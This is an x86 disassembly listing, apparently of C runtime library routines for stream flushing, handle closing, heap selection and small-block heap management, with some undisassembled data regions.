		jnz	short loc_41E167


loc_41E189:				; CODE XREF: sub_41E0D4+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBE94
		call	esi
		test	eax, eax
		jnz	short loc_41E1CE
		jmp	short loc_41E150
; ---------------------------------------------------------------------------


loc_41E1A1:				; CODE XREF: sub_41E0D4+Fj
		cmp	dword_4DBE84, esi
		jnz	short loc_41E1B4
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E1B4:				; CODE XREF: sub_41E0D4+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBE94
		nop
		call	near ptr 2720000h
		cmp	eax, esi
		jz	short loc_41E150


loc_41E1CD:				; CODE XREF: sub_41E0D4+6Bj
		dec	eax


loc_41E1CE:				; CODE XREF: sub_41E0D4+1Aj
					; sub_41E0D4+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E0D4	endp

; ---------------------------------------------------------------------------
		db 9Ch
		dd 0CA7726A5h, 24848F31h, 0F5A9F29Ch, 0A164E34Fh, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 3973E8E8h, 33900249h, 89D48AD2h
		dd 4DBDF415h, 81C88B00h, 0FFE1h, 0F00D8900h, 0C1004DBDh
		dd 0CA0308E1h, 0BDEC0D89h, 0E8C1004Dh, 0BDE8A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 0C4E8FC75h, 90000058h, 4938FAE8h, 0D38CA302h, 82E8004Dh
		dd 0A3000057h, 4DBE34h,	552BE8h, 546DE800h, 0F9E80000h
		dd 89FFFFDEh, 458DD075h, 0E89050A4h, 2491D88h, 53FEE8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 73E89056h, 50022922h, 0FE2F80E8h,	0A04589FFh
		dd 0DEE7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	3CE85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDED9E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41E2C9	proc near		; CODE XREF: sub_41DA32+16p
					; ___:00423721p ...

arg_0		= dword	ptr  4

		cmp	dword_4DBE3C, 1
		jnz	short loc_41E2D7
		call	sub_423D98


loc_41E2D7:				; CODE XREF: sub_41E2C9+7j
		push	[esp+arg_0]
		call	sub_423DD1
		push	0FFh
		call	off_43AE40
		pop	ecx
		pop	ecx
		retn
sub_41E2C9	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DBE3C
		dd 0E8057501h, 5A9Ch, 42474FFh,	5ACCE8h, 0FF685900h, 0E8000000h
		dd 77A579A5h
		db 90h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41E312	proc near		; CODE XREF: sub_41BA3B+2Ap
					; sub_42423B+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DD140
		jnb	loc_41E3AC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E3AC
		push	edi
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E38B
		cmp	edi, 1
		jz	short loc_41E359
		cmp	edi, 2
		jnz	short loc_41E36F


loc_41E359:				; CODE XREF: sub_41E312+40j
		push	2
		call	sub_4240AA
		push	1
		mov	ebp, eax
		call	sub_4240AA
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E38B


loc_41E36F:				; CODE XREF: sub_41E312+45j
		push	edi
		call	sub_4240AA
		pop	ecx
		push	eax
		nop
		call	near ptr 2680000h
		test	eax, eax
		jnz	short loc_41E38B
		call	near ptr 26A0CA7h
		nop
		mov	ebp, eax
		jmp	short loc_41E38D
; ---------------------------------------------------------------------------


loc_41E38B:				; CODE XREF: sub_41E312+3Bj
					; sub_41E312+5Bj ...
		xor	ebp, ebp


loc_41E38D:				; CODE XREF: sub_41E312+77j
		push	edi
		call	sub_424030
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E3A8
		push	ebp
		call	sub_420C7F
		pop	ecx
		jmp	short loc_41E3BD
; ---------------------------------------------------------------------------


loc_41E3A8:				; CODE XREF: sub_41E312+8Bj
		xor	eax, eax
		jmp	short loc_41E3C0
; ---------------------------------------------------------------------------


loc_41E3AC:				; CODE XREF: sub_41E312+Ej
					; sub_41E312+2Fj
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_41E3BD:				; CODE XREF: sub_41E312+94j
		or	eax, 0FFFFFFFFh


loc_41E3C0:				; CODE XREF: sub_41E312+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E312	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3C5	proc near		; CODE XREF: sub_41BA3B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E3EE
		test	al, 8
		jz	short loc_41E3EE
		push	dword ptr [esi+8]
		call	sub_41BA91
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41E3EE:				; CODE XREF: sub_41E3C5+Aj
					; sub_41E3C5+Ej
		pop	esi
		retn
sub_41E3C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3F0	proc near		; CODE XREF: sub_41E490+2Dp
					; sub_41E490+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E402
		push	esi
		call	sub_41E490
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E402:				; CODE XREF: sub_41E3F0+7j
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jz	short loc_41E412
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E412:				; CODE XREF: sub_41E3F0+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E427
		push	dword ptr [esi+10h]
		call	sub_4240E7
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E427:				; CODE XREF: sub_41E3F0+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E3F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E42B	proc near		; CODE XREF: sub_41BA3B+1Ap
					; ___:0041DAC2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E478
		test	ax, 108h
		jz	short loc_41E478
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E478
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E471
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E478
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E478
; ---------------------------------------------------------------------------


loc_41E471:				; CODE XREF: sub_41E42B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41E478:				; CODE XREF: sub_41E42B+14j
					; sub_41E42B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E42B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E487	proc near		; CODE XREF: sub_4241E3p
		push	1
		call	sub_41E490
		pop	ecx
		retn
sub_41E487	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E490	proc near		; CODE XREF: sub_41E3F0+Ap
					; sub_41E487+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DD020, esi
		jle	short loc_41E4EE


loc_41E4A1:				; CODE XREF: sub_41E490+5Cj
		mov	eax, dword_4DC01C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E4E5
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E4E5
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E4CB
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E4E5
		inc	ebx
		jmp	short loc_41E4E5
; ---------------------------------------------------------------------------


loc_41E4CB:				; CODE XREF: sub_41E490+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E4E5
		test	cl, 2
		jz	short loc_41E4E5
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E4E5
		or	edi, eax


loc_41E4E5:				; CODE XREF: sub_41E490+1Bj
					; sub_41E490+23j ...
		inc	esi
		cmp	esi, dword_4DD020
		jl	short loc_41E4A1


loc_41E4EE:				; CODE XREF: sub_41E490+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E4F9
		mov	eax, edi


loc_41E4F9:				; CODE XREF: sub_41E490+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E490	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4FD	proc near		; CODE XREF: ___:0041E660p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 26B050Eh
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41E528
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41E528
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41E528:				; CODE XREF: sub_41E4FD+15j
					; sub_41E4FD+1Cj
		pop	esi
		retn
sub_41E4FD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41C500
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		call	near ptr 26F0601h
		nop
		test	eax, eax
		jz	short loc_41E56D
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41E56D
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41E56D
		push	1
		pop	eax
		jmp	loc_41E66F
; ---------------------------------------------------------------------------


loc_41E56D:				; CODE XREF: ___:0041E551j
					; ___:0041E55Aj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 28C0000h
		test	eax, eax
		jz	loc_41E65C
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41E5AF


loc_41E59C:				; CODE XREF: ___:0041E5ADj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E5AA
		cmp	al, 7Ah
		jg	short loc_41E5AA
		sub	al, 20h
		mov	[ecx], al


loc_41E5AA:				; CODE XREF: ___:0041E5A0j
					; ___:0041E5A4j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E59C


loc_41E5AF:				; CODE XREF: ___:0041E59Aj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41C850
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E5D1
		lea	eax, [ebp-122Ch]
		jmp	short loc_41E61A
; ---------------------------------------------------------------------------


loc_41E5D1:				; CODE XREF: ___:0041E5C7j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		call	near ptr 2690000h
		nop
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41E605


loc_41E5F2:				; CODE XREF: ___:0041E603j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E600
		cmp	al, 7Ah
		jg	short loc_41E600
		sub	al, 20h
		mov	[ecx], al


loc_41E600:				; CODE XREF: ___:0041E5F6j
					; ___:0041E5FAj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E5F2


loc_41E605:				; CODE XREF: ___:0041E5F0j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx


loc_41E61A:				; CODE XREF: ___:0041E5CFj
		cmp	eax, ebx
		jz	short loc_41E65C
		push	2Ch
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41E65C
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41E641


loc_41E633:				; CODE XREF: ___:0041E63Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41E63C
		mov	[ecx], bl
		jmp	short loc_41E63D
; ---------------------------------------------------------------------------


loc_41E63C:				; CODE XREF: ___:0041E636j
		inc	ecx


loc_41E63D:				; CODE XREF: ___:0041E63Aj
		cmp	[ecx], bl
		jnz	short loc_41E633


loc_41E641:				; CODE XREF: ___:0041E631j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41C586
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41E66F
		cmp	eax, 3
		jz	short loc_41E66F
		cmp	eax, 1
		jz	short loc_41E66F


loc_41E65C:				; CODE XREF: ___:0041E586j
					; ___:0041E61Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41E4FD
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41E66F:				; CODE XREF: ___:0041E568j
					; ___:0041E650j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 4B1977E8h
		dd 0A3C08502h, 4DD384h,	93E83674h, 83FFFFFEh, 88A303F8h
		dd 75004DD3h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0D38435FFh, 1EE8004Dh
		dd 90024A26h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DD384h
		dd 3E191FE8h, 0C0859002h, 4DD37CA3h, 0C3017500h, 4244C8Bh
		dd 0D3742583h, 8300004Dh, 4DD37825h, 16A0000h, 4DD370A3h
		dd 800D8900h, 0C7004DD3h, 4DD36805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E717	proc near		; CODE XREF: sub_41BA91+17p
					; sub_41BBE2+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DD378
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DD37C
		lea	ecx, [eax+ecx*4]


loc_41E727:				; CODE XREF: sub_41E717+26j
		cmp	eax, ecx
		jnb	short loc_41E73F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E741
		add	eax, 14h
		jmp	short loc_41E727
; ---------------------------------------------------------------------------


loc_41E73F:				; CODE XREF: sub_41E717+12j
		xor	eax, eax

locret_41E741:				; CODE XREF: sub_41E717+21j
		retn
sub_41E717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E742	proc near		; CODE XREF: sub_41BA91+23p
					; sub_41BBE2+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41EA66
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41E818
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E7A6
		push	3Fh
		pop	edx


loc_41E7A6:				; CODE XREF: sub_41E742+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E7FA
		cmp	edx, 20h
		jnb	short loc_41E7D1
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E7F2
; ---------------------------------------------------------------------------


loc_41E7D1:				; CODE XREF: sub_41E742+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E7F2:				; CODE XREF: sub_41E742+86j
					; sub_41E742+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41E7FD
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E742+6Aj
		mov	ecx, [ebp+var_4]


loc_41E7FD:				; CODE XREF: sub_41E742+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41E818:				; CODE XREF: sub_41E742+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E826
		push	3Fh
		pop	edx


loc_41E826:				; CODE XREF: sub_41E742+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E8C9
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41E84B
		mov	ebx, esi


loc_41E84B:				; CODE XREF: sub_41E742+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41E85D
		mov	edx, esi


loc_41E85D:				; CODE XREF: sub_41E742+117j
		cmp	ebx, edx
		jz	short loc_41E8C4
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E8AC
		cmp	ebx, 20h
		jnb	short loc_41E88D
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E8AC
; ---------------------------------------------------------------------------


loc_41E88D:				; CODE XREF: sub_41E742+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E8AC:				; CODE XREF: sub_41E742+128j
					; sub_41E742+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E8C4:				; CODE XREF: sub_41E742+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E8CC
; ---------------------------------------------------------------------------


loc_41E8C9:				; CODE XREF: sub_41E742+EDj
		mov	ebx, [ebp+arg_0]


loc_41E8CC:				; CODE XREF: sub_41E742+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E8DA
		cmp	ebx, edx
		jz	loc_41E95B


loc_41E8DA:				; CODE XREF: sub_41E742+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E95B
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E932
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E921
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E921:				; CODE XREF: sub_41E742+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E95B
; ---------------------------------------------------------------------------


loc_41E932:				; CODE XREF: sub_41E742+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E948
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E948:				; CODE XREF: sub_41E742+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E95B:				; CODE XREF: sub_41E742+192j
					; sub_41E742+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41EA66
		mov	eax, dword_4DD374
		test	eax, eax
		jz	loc_41EA58
		mov	ecx, dword_4DD36C
		mov	esi, dword_427068
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DD36C
		mov	eax, dword_4DD374
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DD374
		mov	ecx, dword_4DD36C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DD374
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DD374
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E9E9
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DD374


loc_41E9E9:				; CODE XREF: sub_41E742+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41EA58
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DD374
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27F0000h
		mov	eax, dword_4DD378
		mov	edx, dword_4DD37C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DD374
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D670
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DD378
		cmp	eax, dword_4DD374
		jbe	short loc_41EA4E
		sub	[ebp+arg_0], 14h


loc_41EA4E:				; CODE XREF: sub_41E742+306j
		mov	eax, dword_4DD37C
		mov	dword_4DD370, eax


loc_41EA58:				; CODE XREF: sub_41E742+234j
					; sub_41E742+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DD36C, edi
		mov	dword_4DD374, eax


loc_41EA66:				; CODE XREF: sub_41E742+38j
					; sub_41E742+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E742	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA6B	proc near		; CODE XREF: sub_41BBE2+77p
					; sub_41BEF3+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DD378
		mov	edx, dword_4DD37C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41EAAB
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41EABB
; ---------------------------------------------------------------------------


loc_41EAAB:				; CODE XREF: sub_41EA6B+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41EABB:				; CODE XREF: sub_41EA6B+3Ej
		mov	eax, dword_4DD370
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EAE2


loc_41EAC9:				; CODE XREF: sub_41EA6B+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EAE2
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41EAC9


loc_41EAE2:				; CODE XREF: sub_41EA6B+5Cj
					; sub_41EA6B+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41EB60
		mov	ebx, edx


loc_41EAE9:				; CODE XREF: sub_41EA6B+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB05
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EB03
		add	ebx, 14h
		jmp	short loc_41EAE9
; ---------------------------------------------------------------------------


loc_41EB03:				; CODE XREF: sub_41EA6B+91j
		cmp	ebx, eax


loc_41EB05:				; CODE XREF: sub_41EA6B+83j
		jnz	short loc_41EB60


loc_41EB07:				; CODE XREF: sub_41EA6B+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41EB1D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB1A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41EB07
; ---------------------------------------------------------------------------


loc_41EB1A:				; CODE XREF: sub_41EA6B+A5j
		cmp	ebx, [ebp+var_4]


loc_41EB1D:				; CODE XREF: sub_41EA6B+9Fj
		jnz	short loc_41EB45
		mov	ebx, edx


loc_41EB21:				; CODE XREF: sub_41EA6B+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB35
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB33
		add	ebx, 14h
		jmp	short loc_41EB21
; ---------------------------------------------------------------------------


loc_41EB33:				; CODE XREF: sub_41EA6B+C1j
		cmp	ebx, eax


loc_41EB35:				; CODE XREF: sub_41EA6B+BBj
		jnz	short loc_41EB45
		call	sub_41ED74
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41EB59


loc_41EB45:				; CODE XREF: sub_41EA6B:loc_41EB1Dj
					; sub_41EA6B:loc_41EB35j
		push	ebx
		call	sub_41EE25
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EB60


loc_41EB59:				; CODE XREF: sub_41EA6B+D8j
		xor	eax, eax
		jmp	loc_41ED6F
; ---------------------------------------------------------------------------


loc_41EB60:				; CODE XREF: sub_41EA6B+7Aj
					; sub_41EA6B:loc_41EB05j ...
		mov	dword_4DD370, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41EB87
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
